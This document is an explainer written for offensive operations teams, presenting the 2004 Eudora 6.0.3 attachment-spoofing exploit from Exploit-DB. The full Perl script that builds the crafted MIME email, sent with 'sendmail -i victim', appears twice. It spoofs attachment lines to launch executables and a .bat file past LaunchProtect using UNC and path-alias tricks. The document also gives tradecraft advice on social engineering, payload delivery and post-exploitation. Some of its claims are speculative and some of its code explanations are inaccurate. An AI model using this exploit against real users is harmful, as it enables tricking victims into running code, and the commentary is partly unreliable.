Eudora 6.0.3 Attachment Spoofing: A Deep Dive for Offensive Operations

What this paper is

This paper, published in 2004, details a vulnerability in Eudora 6.0.3 for Windows that allows an attacker to "spoof" attachments. This means an attacker can make it appear as though a malicious file is a legitimate attachment, or trick the user into executing an arbitrary file by disguising it as a safe one. The core of the exploit lies in how Eudora handles certain email formatting and attachment display mechanisms, particularly when dealing with embedded HTML, rich text, and specific encoding methods. The vulnerability doesn't allow for remote code execution directly through the email itself but relies on user interaction and the email client's parsing of content.

Simple technical breakdown

Eudora, like many email clients, tries to display attachments in a user-friendly way. It also has security features like "LaunchProtect" to warn users before opening potentially dangerous files. This exploit bypasses or manipulates these features by:

1. Exploiting MIME parsing: Eudora interprets special MIME parts (<x-html>, <x-rich>, <x-flowed>) and specific formatting within plain text emails to display content.
2. Leveraging "Attachment Converted" lines: The email client displays lines like "Attachment Converted: 'filename'" to indicate that a file was processed. The exploit crafts these lines to point to arbitrary executables or malicious links.
3. Bypassing LaunchProtect: By carefully crafting the attachment path or using specific URI schemes, the exploit can trick Eudora into believing a file is safe or that it's a known, safe file, even if it's an executable. This is particularly effective when Eudora's internal path normalization logic can be confused.
4. Encoding tricks: Different content transfer encodings (like quoted-printable and base64) affect how Eudora processes the email body. The exploit notes that some encodings require specific characters (like Carriage Return \r) to be present for the spoofing to work correctly within the encoded content.

Complete code and payload walkthrough

The provided Perl script generates a specially crafted email. Let's break down its components:

#!/usr/bin/perl --

use MIME::Base64;

• #!/usr/bin/perl --: This is the shebang line, indicating that the script should be executed using the Perl interpreter.
• use MIME::Base64;: This line imports the MIME::Base64 module, which provides functions for encoding and decoding data using Base64. This is used later in the script to encode a specific payload.

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.0.3 on Windows spoof, LaunchProtect\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "\n";
print "This is a multi-part message in MIME format.\n";

• Email Headers: These lines print standard email headers.
  • From: me
  • To: you
  • Subject: Eudora 6.0.3 on Windows spoof, LaunchProtect
  • MIME-Version: 1.0: Declares the email adheres to MIME standards.
  • Content-Type: multipart/mixed; boundary="zzz": This is crucial. It defines the email as a multipart message, meaning it contains different parts (like text, attachments). The boundary="zzz" specifies a unique string that separates these parts.
• print "\n";: Prints a blank line, which is required to separate headers from the body.
• print "This is a multi-part message in MIME format.\n";: A descriptive text that appears before the actual MIME parts.

print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "Pipe the output of this script into:   sendmail -i victim\n";

print "\nWith spoofed attachments, we could 'steal' files if the 
message
was forwarded (not replied to).\n";

print "\nWithin plain-text email (or plain-text, inline MIME parts) 
embedded
CR=x0d characters get converted internally into a NUL=x00 and ignored,
so we can spoof \"attachment converted\" lines:\n";

• print "--zzz\n";: This marks the beginning of a MIME part, using the defined boundary.
• Part 1 Headers:
  • Content-Type: text/plain: This part is plain text.
  • Content-Transfer-Encoding: 7bit: The content is encoded using 7-bit ASCII.
• print "\n";: Separates part headers from the part body.
• Explanatory Text: The following print statements are comments and explanations within the script itself, not part of the email body that Eudora would render. They describe the exploit's mechanics.
  • "Pipe the output of this script into: sendmail -i victim\n": This is an instruction on how to send the generated email. sendmail is a common Mail Transfer Agent (MTA).
  • The subsequent paragraphs explain the core vulnerability: how embedded Carriage Return (\r, 0x0d) characters in plain text can be manipulated by Eudora to spoof "Attachment Converted" lines.

print "\nThe following work fine (but are boring and/or put up 
warnings):\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";
print "(Note how JavaScript is done with IE, web with default browser 
Netscape)\n";
print "Attachment Converted\r: <A 
href=javascript:alert(%27hello%27)>hello.txt</a>\n";
print "Attachment Converted\r: <A 
href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
print "Attachment Converted\r: <A 
href=c:/winnt/system32/calc.exe>file.txt</a>\n";

print "\nIf we can guess the full path to the attach directory then can
change the name shown to anything we like, but get broken icon:\n";
print "Attachment Converted\r: <A 
href=H:/eudora/attach/calc>file.txt</a>\n";

print "\nCuteness value only:\n";
print "Attachment Converted\r: <A 
href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

• Spoofed Attachment Examples (Plain Text): These lines demonstrate how the "Attachment Converted" string can be used to display fake attachment names.
  • Attachment Converted\r: "c:\\winnt\\system32\\calc.exe": This line, when processed by Eudora, might display a warning about calc.exe being an executable. The \r is important here for how Eudora might parse it.
  • <A href=javascript:alert(%27hello%27)>hello.txt</a>: This is an HTML anchor tag. When Eudora renders HTML, this would create a link named hello.txt that, when clicked, executes JavaScript alert('hello').
  • <A href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>: Similar to the JavaScript example, this creates a link to a URL.
  • <A href=c:/winnt/system32/calc.exe>file.txt</a>: This creates a link named file.txt that points to a local executable.
  • The examples with H:/eudora/attach/calc and multiple links illustrate the flexibility in naming and how Eudora's internal path handling can be exploited, potentially leading to broken icons or unexpected behavior.

print "\n<x-html>\n";
print "With <b>HTML</b> <i>inclusions</i> we can do
<a href=c:/winnt/system32/calc.exe>file</a>,
<a 
href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
and
<a href=\"javascript:alert(\x27hello\x27)\">javascript</a>
references. Any way to exploit this?
</x-html>\n";

print "\n<x-rich>\n";
print "Can also do RTF inclusions. Can this be abused?
</x-rich>\n";

print "\nThose <x-xyz></x-xyz> constructs allow spoofing
attachments easily, without embedded CR:\n\n";
print "HTML\n";
print "<x-html></x-html>Attachment Converted: \"xyz\"\n";
print "Rich\n";
print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";
print "Flowed\n";
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";

• <x-html>, <x-rich>, <x-flowed>: These are non-standard MIME headers or tags that Eudora might interpret.
  • <x-html>: This tag likely tells Eudora to render the content within it as HTML. The example shows how HTML links (to executables, URLs, or JavaScript) can be embedded.
  • <x-rich>: This suggests support for Rich Text Format (RTF) inclusions.
  • <x-flowed>: This likely relates to email content flowing across lines.
• Exploiting <x-xyz> tags: The script notes that these tags allow spoofing "Attachment Converted" lines without needing the problematic embedded \r character, making the exploit cleaner in certain contexts.

print "\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"plain.txt\"\n";
print "Content-Transfer-Encoding: 7bit\n";
print "Content-Disposition: inline; filename=\"plain.txt\"\n";
print "\n";
print "Within a 'plain' attachment:\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";

• Part 2: plain.txt:
  • Content-Type: text/plain; name="plain.txt": A plain text part named plain.txt.
  • Content-Transfer-Encoding: 7bit: Standard 7-bit encoding.
  • Content-Disposition: inline; filename="plain.txt": This suggests the part should be displayed inline, with the filename plain.txt.
  • The body contains another "Attachment Converted" example, again using \r.

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n";
print "\n";
print "Within quoted-printable encoded parts still need the embedded 
CR:\n";
print "=41ttachment=20=43onverted\r=3a 
\"c:\\winnt\\system32\\calc.exe\"\n";

• Part 3: qp.txt (Quoted-Printable):
  • Content-Type: text/plain; name="qp.txt"
  • Content-Transfer-Encoding: quoted-printable: This encoding represents non-ASCII characters using = followed by their hexadecimal value.
  • Content-Disposition: inline; filename="qp.txt"
  • =41ttachment=20=43onverted\r=3a "c:\\winnt\\system32\\calc.exe": This is the quoted-printable representation of Attachment Converted: "c:\winnt\system32\calc.exe". Note that =41 is 'A', =20 is space, =43 is 'C', and =3a is ':'. Crucially, the \r character is not encoded here, as the exploit notes it's still needed for parsing within quoted-printable.

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b64.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b64.txt\"\n";
print "\n";
$z = "Within base64 encoded (plain-text, inline) MIME parts, can 
spoof\r
without embedded CR (but line termination is CR-NL):\r
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";
print encode_base64($z);

• Part 4: b64.txt (Base64):
  • Content-Type: text/plain; name="b64.txt"
  • Content-Transfer-Encoding: base64: The content is encoded using Base64.
  • Content-Disposition: inline; filename="b64.txt"
  • $z = "...": This variable holds the raw text that will be Base64 encoded. It contains the spoofed "Attachment Converted" line.
  • print encode_base64($z);: The encode_base64 function from the imported module is used to encode the string $z into Base64 format, which is then printed as the content of this MIME part. The exploit notes that for Base64, the embedded \r is not needed, but line termination is CR-NL (\r\n).

print "\n--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "\n=====\n";

$X = 'README'; $Y = "$X.bat";
print "\nThe X - X.exe dichotomy: send a plain $X attachment:\n";
$z = "rem Funny joke\r\npause\r\n";
print "begin 600 $X\n", pack('u',$z), "`\nend\n";
print "\nand (in another message or) after some blurb so is scrolled 
off in
another screenful, also send $Y. Clicking on $X does not
get it any more (but gets $Y, with a LauchProtect warning):\n";
$z = "rem Big joke\r\nrem Should do something nasty\r\npause\r\n";
print "begin 600 $Y\n", pack('u',$z), "`\nend\n";

• Part 5: UUENCODE Examples: This section demonstrates a different attack vector using UUENCODE, a method for encoding binary files into text.
  • $X = 'README'; $Y = "$X.bat";: Defines filenames.
  • $z = "rem Funny joke\r\npause\r\n"; print "begin 600 $X\n", pack('u',$z), "\nend\n";: This block UUENCODEs a simple batch file named README. The pack('u', $z)function performs UUencoding. Thebegin 600 andend` lines are standard UUENCODE delimiters.
  • The second block does the same for README.bat. The explanation suggests that Eudora's handling of files with the same base name but different extensions (like README vs. README.bat) might be exploited. Clicking README might execute README.bat with a LaunchProtect warning.

print "\n=====\n";

print "
Eudora 6.0.3 LaunchProtect handles the X-X.exe dichotomy in the attach
directory only, and allows spoofed attachments pointing to an 
executable
stored elsewhere to run without warning:\n";
print "Attachment Converted\r: <a 
href=c:/winnt/system32/calc>go.txt</a>\n";
print "Attachment Converted\r: c:/winnt/system32/calc\n";

print "
Can be exploited if there is more than one way into attach: in my setup
H: and \\\\rome\\home are the same thing, but Eudora does not know 
that.\n";
print "These elicit warnings:\n";
print "Attachment Converted\r: <a 
href=h:/eudora/attach/README>readme.txt</a>\n";
print "Attachment Converted\r: h:/eudora/attach/README\n";
print "Attachment Converted\r: \\README\n";
print "Attachment Converted\r: .\\README\n";
print "Attachment Converted\r: \\.\\README\n";
print "Attachment Converted\r: ?\\README\n";
print "Attachment Converted\r: \\?\\README\n";
print "while these do the bad thing without warning:\n";
print "Attachment Converted\r: <a 
href=file://rome/home/eudora/attach/README>readme</a>\n";
print "Attachment Converted\r: //rome/home/eudora/attach/README\n";
print "Attachment Converted\r: 
\\\\rome\\home\\eudora\\attach\\README\n";

print "
For the default setup, Eudora knows that C:\\Program Files
and C:\\Progra~1 are the same thing:\n";
print "Attachment Converted\r: \"c:/program 
files/qualcomm/eudora/attach/README\"\n";
print "Attachment Converted\r: 
\"c:/progra~1/qualcomm/eudora/attach/README\"\n";
print "
and also knows that various UNC references:
\\\\localhost\\c...
\\\\127.0.0.1\\c...
\\\\BIOSNAME\\c...
\\\\DNSNAME\\c...
\\\\IP\\c...
\\\\\\?\\c...
\\\\c...
...c:\\progr...
...c\\progr...
...c:progr...
...program files\\...
...progra~1\\...
or even
.\\NoSuchDir\\..\\README
//c|\\Program Files\\qualcomm\\eudora\\attach\\README
\\\\c|\\Program Files\\qualcomm\\eudora\\attach\\README
res://c:\\Program Files\\qualcomm\\eudora\\attach\\README
res:\\\\c:\\Program Files\\qualcomm\\eudora\\attach\\README
shell:Fonts\\..\\..\\Program Files\\qualcomm\\eudora\\attach\\README
%ProgramFiles%\\qualcomm\\eudora\\attach\\README
%windir%\\..\\Program Files\\qualcomm\\eudora\\attach\\README
are all the same thing...
";

• Exploiting Path Normalization and UNC Paths: This is the most sophisticated part of the exploit.
  • It explains that Eudora's "LaunchProtect" mechanism is bypassed when the target executable is not in the Eudora attach directory.
  • The core idea is to exploit how Windows and Eudora normalize file paths. If Eudora can be tricked into thinking a path points to a file within its attach directory (even if it's a different physical location), it might bypass warnings.
  • UNC Paths: The exploit demonstrates that by using Universal Naming Convention (UNC) paths (e.g., \\server\share\file), Eudora might resolve them to local files, especially if the server/share maps to a local drive or a network location that Eudora treats as local.
  • Path Aliases: It shows how Eudora recognizes common Windows path aliases like C:\Program Files and C:\Progra~1 (short filenames).
  • Complex Path Manipulation: The extensive list of path variations (.\\README, \\?\\README, //rome/home/..., res://..., %ProgramFiles%...) shows how attackers can use relative paths, special characters, different URI schemes, and environment variables to confuse Eudora's path resolution and potentially point to arbitrary executables without triggering warnings. The key is that if Eudora's internal logic fails to correctly identify the target as an executable outside the expected safe locations, it might allow execution.

print "\n";

print "\n--zzz--\n";
print "\n";

# milw0rm.com [2004-03-19]

• print "\n--zzz--\n";: This signifies the end of the multipart message.
• # milw0rm.com [2004-03-19]: A comment indicating the source and publication date of the exploit.

Code Fragment/Block -> Practical Purpose Mapping:

• #!/usr/bin/perl -- -> Script interpreter declaration.
• use MIME::Base64; -> Imports Base64 encoding functionality.
• print "From: ...\n"; -> Sets email headers.
• print "Content-Type: multipart/mixed; boundary=\"zzz\"\n"; -> Defines email as multipart, setting a boundary.
• print "--zzz\n"; -> Starts a new MIME part.
• Content-Type: text/plain\n -> Declares a part as plain text.
• Content-Transfer-Encoding: 7bit\n -> Specifies 7-bit ASCII encoding.
• Attachment Converted\r: ... -> The core string used to spoof attachment names. \r is critical for parsing in some contexts.
• <A href=...>...</A> -> HTML anchor tag for creating links.
• <x-html>, <x-rich>, <x-flowed> -> Non-standard MIME tags for rich content rendering.
• Content-Type: text/plain; name="..."\n -> Defines a part with a specific filename.
• Content-Transfer-Encoding: quoted-printable \n -> Specifies Quoted-Printable encoding.
• Content-Transfer-Encoding: base64\n -> Specifies Base64 encoding.
• encode_base64($z) -> Encodes a string into Base64.
• pack('u',$z) -> UUencodes a string.
• begin 600 ... end -> UUENCODE delimiters.
• Attachment Converted\r: <a href=c:/winnt/system32/calc>go.txt</a> -> Example of spoofing an executable link.
• Attachment Converted\r: file://rome/home/... -> Example using a URI scheme to bypass path checks.
• Attachment Converted\r: \\\\rome\\home\\... -> Example using UNC paths.
• Attachment Converted\r: "c:/progra~1/..." -> Example using short filenames.
• --zzz--\n -> Marks the end of the multipart message.

Practical details for offensive operations teams

• Required Access Level: This exploit is delivered via email. Therefore, the primary requirement is the ability to send an email to the target's Eudora client. No local access to the target machine is needed for delivery.
• Lab Preconditions:
  • A functional Eudora 6.0.3 installation on a Windows machine is essential for testing.
  • A mail server or a method to send emails to the test client (e.g., sendmail configured on a local machine, or a compromised mail server).
  • Understanding of MIME email structure and Perl scripting for generating the exploit email.
  • Knowledge of Windows path normalization and how Eudora might interpret different path formats.
• Tooling Assumptions:
  • Perl: Required to run the provided script.
  • MIME::Base64 module: Should be installed with Perl.
  • sendmail or equivalent MTA: To deliver the crafted email.
  • Eudora 6.0.3: The target client.
• Execution Pitfalls:
  • Eudora Version Specificity: This exploit is highly specific to Eudora 6.0.3. Newer versions or other email clients will likely not be vulnerable.
  • User Interaction: The exploit relies on the user clicking on a spoofed link or attempting to open a "spoofed" attachment. It's not a zero-click exploit.
  • Email Filtering: Modern email security gateways might detect and block such crafted emails based on MIME structure, suspicious links, or known patterns.
  • Path Normalization Variations: Windows path normalization can be complex and might differ slightly between Windows versions or configurations. Testing is crucial to ensure the crafted paths work as intended.
  • Eudora Configuration: Eudora's own security settings or user configurations could potentially mitigate some aspects of the exploit.
  • Forwarding vs. Replying: The paper explicitly mentions that the "stealing files" aspect relies on the message being forwarded, not replied to. This is because forwarding preserves the original MIME structure and headers, while replying might re-encode or alter them.
• Tradecraft Considerations:
  • Social Engineering: The success of this exploit heavily depends on social engineering to convince the user to interact with the malicious content. The email content itself needs to be convincing.
  • Payload Delivery: The "payload" here is the crafted email. The actual malicious action (e.g., running calc.exe) requires the user to click. For more advanced operations, the spoofed link could point to a malicious website that hosts a more potent exploit or malware.
  • Reconnaissance: Understanding the target's email client (specifically Eudora 6.0.3) is a prerequisite. This might be discovered through network traffic analysis, endpoint fingerprinting, or user interviews.
  • Stealth: While the email delivery itself might be stealthy, the user interaction is the critical point. The goal is to make the interaction seem benign.
  • Post-Exploitation: If the user clicks and an executable runs, the next steps would depend on the nature of that executable (e.g., a reverse shell, a data exfiltration tool).

Where this was used and when

• Context: This exploit was published in March 2004. At that time, Eudora was a popular email client. The exploit targets a specific vulnerability in its parsing and rendering of email content, particularly its handling of attachments and links.
• Usage: It's highly probable that this exploit was used in targeted attacks against individuals or organizations using Eudora 6.0.3. The nature of the exploit suggests it could be used for:
  • Information Gathering: Tricking users into revealing information or executing scripts that report back.
  • Malware Delivery: As a vector to deliver more potent malware by bypassing initial security warnings.
  • Phishing/Social Engineering: Making malicious links or files appear legitimate.
• Timeframe: The exploit was published in 2004. Its relevance would have diminished significantly as Eudora was updated, replaced by other clients, and email security evolved. It's unlikely to be effective against modern email clients or even later versions of Eudora.

Defensive lessons for modern teams

• Keep Software Updated: This is the most fundamental lesson. Vulnerabilities like this are patched in newer versions. Organizations must have robust patch management processes for all software, especially client applications like email clients.
• Email Gateway Security: Modern email security solutions are crucial. They can:
  • Scan for Malicious Content: Detect suspicious MIME structures, embedded scripts, and known malicious URLs.
  • URL Rewriting/Sandboxing: Rewrite or sandbox links to prevent users from visiting malicious sites directly.
  • Attachment Sandboxing: Analyze attachments in a safe environment before delivery.
• User Education (Security Awareness Training): Users are the last line of defense. Training should cover:
  • Phishing Awareness: Recognizing suspicious emails, links, and attachments.
  • Skepticism of Unexpected Content: Encouraging users to question emails that seem unusual or ask them to perform unexpected actions.
  • Understanding File Types: Educating users about the risks associated with opening executables or files from untrusted sources.
• Client-Side Security:
  • Application Whitelisting: Prevent unauthorized executables from running.
  • Browser Security: Ensure browsers are up-to-date and configured securely.
  • Endpoint Detection and Response (EDR): EDR solutions can detect and block malicious process execution even if a user is tricked into initiating it.
• MIME Parsing Robustness: Developers of email clients and web browsers should ensure their MIME parsers are robust and follow RFC standards strictly, without introducing exploitable interpretation quirks.
• Principle of Least Privilege: Ensure user accounts operate with the minimum necessary privileges to limit the impact of any successful exploit.

ASCII visual (if applicable)

This exploit doesn't lend itself to a complex architectural diagram. It's more about the content of an email and how the client interprets it. However, we can visualize the email structure:

+-------------------------------------------------+
| Email Headers (From, To, Subject, MIME-Version) |
+-------------------------------------------------+
| Content-Type: multipart/mixed; boundary="zzz"   |
+-------------------------------------------------+
|                                                 |
|  --zzz                                          |
|  Content-Type: text/plain                       |
|  Content-Transfer-Encoding: 7bit                |
|  ---------------------------------------------  |
|  Plain text body with spoofed "Attachment Converted" lines |
|  and/or HTML/Rich text inclusions.              |
|  ---------------------------------------------  |
|                                                 |
|  --zzz                                          |
|  Content-Type: text/plain; name="plain.txt"     |
|  Content-Transfer-Encoding: 7bit                |
|  Content-Disposition: inline; filename="plain.txt"|
|  ---------------------------------------------  |
|  Plain text part with spoofed "Attachment Converted". |
|  ---------------------------------------------  |
|                                                 |
|  --zzz                                          |
|  Content-Type: text/plain; name="qp.txt"        |
|  Content-Transfer-Encoding: quoted-printable    |
|  Content-Disposition: inline; filename="qp.txt" |
|  ---------------------------------------------  |
|  Quoted-printable part with spoofed "Attachment Converted". |
|  ---------------------------------------------  |
|                                                 |
|  --zzz                                          |
|  Content-Type: text/plain; name="b64.txt"       |
|  Content-Transfer-Encoding: base64              |
|  Content-Disposition: inline; filename="b64.txt"|
|  ---------------------------------------------  |
|  Base64 encoded part with spoofed "Attachment Converted". |
|  ---------------------------------------------  |
|                                                 |
|  --zzz                                          |
|  Content-Type: text/plain                       |
|  ---------------------------------------------  |
|  UUENCODEd attachments (e.g., README, README.bat)|
|  ---------------------------------------------  |
|                                                 |
|  --zzz--                                        |
+-------------------------------------------------+

This diagram illustrates how the email is structured into multiple parts, each with its own content type and encoding. The exploit crafts specific content within these parts to trick Eudora.

Source references

• PAPER ID: 163
• PAPER TITLE: Eudora 6.0.3 (Windows) - Attachment Spoofing
• AUTHOR: anonymous
• PUBLISHED: 2004-03-19
• KEYWORDS: Windows, remote
• PAPER URL: https://www.exploit-db.com/papers/163
• RAW URL: https://www.exploit-db.com/raw/163

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.0.3 on Windows spoof, LaunchProtect\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "\n";
print "This is a multi-part message in MIME format.\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "Pipe the output of this script into:   sendmail -i victim\n";

print "\nWith spoofed attachments, we could 'steal' files if the 
message
was forwarded (not replied to).\n";

print "\nWithin plain-text email (or plain-text, inline MIME parts) 
embedded
CR=x0d characters get converted internally into a NUL=x00 and ignored,
so we can spoof \"attachment converted\" lines:\n";

print "\nThe following work fine (but are boring and/or put up 
warnings):\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";
print "(Note how JavaScript is done with IE, web with default browser 
Netscape)\n";
print "Attachment Converted\r: <A 
href=javascript:alert(%27hello%27)>hello.txt</a>\n";
print "Attachment Converted\r: <A 
href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
print "Attachment Converted\r: <A 
href=c:/winnt/system32/calc.exe>file.txt</a>\n";

print "\nIf we can guess the full path to the attach directory then can
change the name shown to anything we like, but get broken icon:\n";
print "Attachment Converted\r: <A 
href=H:/eudora/attach/calc>file.txt</a>\n";

print "\nCuteness value only:\n";
print "Attachment Converted\r: <A 
href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

print "\n<x-html>
With <b>HTML</b> <i>inclusions</i> we can do
<a href=c:/winnt/system32/calc.exe>file</a>,
<a 
href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
and
<a href=\"javascript:alert(\x27hello\x27)\">javascript</a>
references. Any way to exploit this?
</x-html>\n";

print "\n<x-rich>
Can also do RTF inclusions. Can this be abused?
</x-rich>\n";

print "\nThose <x-xyz></x-xyz> constructs allow spoofing
attachments easily, without embedded CR:\n\n";
print "HTML\n";
print "<x-html></x-html>Attachment Converted: \"xyz\"\n";
print "Rich\n";
print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";
print "Flowed\n";
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";

print "\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"plain.txt\"\n";
print "Content-Transfer-Encoding: 7bit\n";
print "Content-Disposition: inline; filename=\"plain.txt\"\n";
print "\n";
print "Within a 'plain' attachment:\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n";
print "\n";
print "Within quoted-printable encoded parts still need the embedded 
CR:\n";
print "=41ttachment=20=43onverted\r=3a 
\"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b64.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b64.txt\"\n";
print "\n";
$z = "Within base64 encoded (plain-text, inline) MIME parts, can 
spoof\r
without embedded CR (but line termination is CR-NL):\r
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";
print encode_base64($z);

print "\n--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "\n=====\n";

$X = 'README'; $Y = "$X.bat";
print "\nThe X - X.exe dichotomy: send a plain $X attachment:\n";
$z = "rem Funny joke\r\npause\r\n";
print "begin 600 $X\n", pack('u',$z), "`\nend\n";
print "\nand (in another message or) after some blurb so is scrolled 
off in
another screenful, also send $Y. Clicking on $X does not
get it any more (but gets $Y, with a LauchProtect warning):\n";
$z = "rem Big joke\r\nrem Should do something nasty\r\npause\r\n";
print "begin 600 $Y\n", pack('u',$z), "`\nend\n";

print "\n=====\n";

print "
Eudora 6.0.3 LaunchProtect handles the X-X.exe dichotomy in the attach
directory only, and allows spoofed attachments pointing to an 
executable
stored elsewhere to run without warning:\n";
print "Attachment Converted\r: <a 
href=c:/winnt/system32/calc>go.txt</a>\n";
print "Attachment Converted\r: c:/winnt/system32/calc\n";

print "
Can be exploited if there is more than one way into attach: in my setup
H: and \\\\rome\\home are the same thing, but Eudora does not know 
that.\n";
print "These elicit warnings:\n";
print "Attachment Converted\r: <a 
href=h:/eudora/attach/README>readme.txt</a>\n";
print "Attachment Converted\r: h:/eudora/attach/README\n";
print "Attachment Converted\r: \\README\n";
print "Attachment Converted\r: .\\README\n";
print "Attachment Converted\r: \\.\\README\n";
print "Attachment Converted\r: ?\\README\n";
print "Attachment Converted\r: \\?\\README\n";
print "while these do the bad thing without warning:\n";
print "Attachment Converted\r: <a 
href=file://rome/home/eudora/attach/README>readme</a>\n";
print "Attachment Converted\r: //rome/home/eudora/attach/README\n";
print "Attachment Converted\r: 
\\\\rome\\home\\eudora\\attach\\README\n";

print "
For the default setup, Eudora knows that C:\\Program Files
and C:\\Progra~1 are the same thing:\n";
print "Attachment Converted\r: \"c:/program 
files/qualcomm/eudora/attach/README\"\n";
print "Attachment Converted\r: 
\"c:/progra~1/qualcomm/eudora/attach/README\"\n";
print "
and also knows that various UNC references:
\\\\localhost\\c...
\\\\127.0.0.1\\c...
\\\\BIOSNAME\\c...
\\\\DNSNAME\\c...
\\\\IP\\c...
\\\\\\?\\c...
\\\\c...
...c:\\progr...
...c\\progr...
...c:progr...
...program files\\...
...progra~1\\...
or even
.\\NoSuchDir\\..\\README
//c|\\Program Files\\qualcomm\\eudora\\attach\\README
\\\\c|\\Program Files\\qualcomm\\eudora\\attach\\README
res://c:\\Program Files\\qualcomm\\eudora\\attach\\README
res:\\\\c:\\Program Files\\qualcomm\\eudora\\attach\\README
shell:Fonts\\..\\..\\Program Files\\qualcomm\\eudora\\attach\\README
%ProgramFiles%\\qualcomm\\eudora\\attach\\README
%windir%\\..\\Program Files\\qualcomm\\eudora\\attach\\README
are all the same thing...
";

print "\n";
print "\n--zzz--\n";
print "\n";

# milw0rm.com [2004-03-19]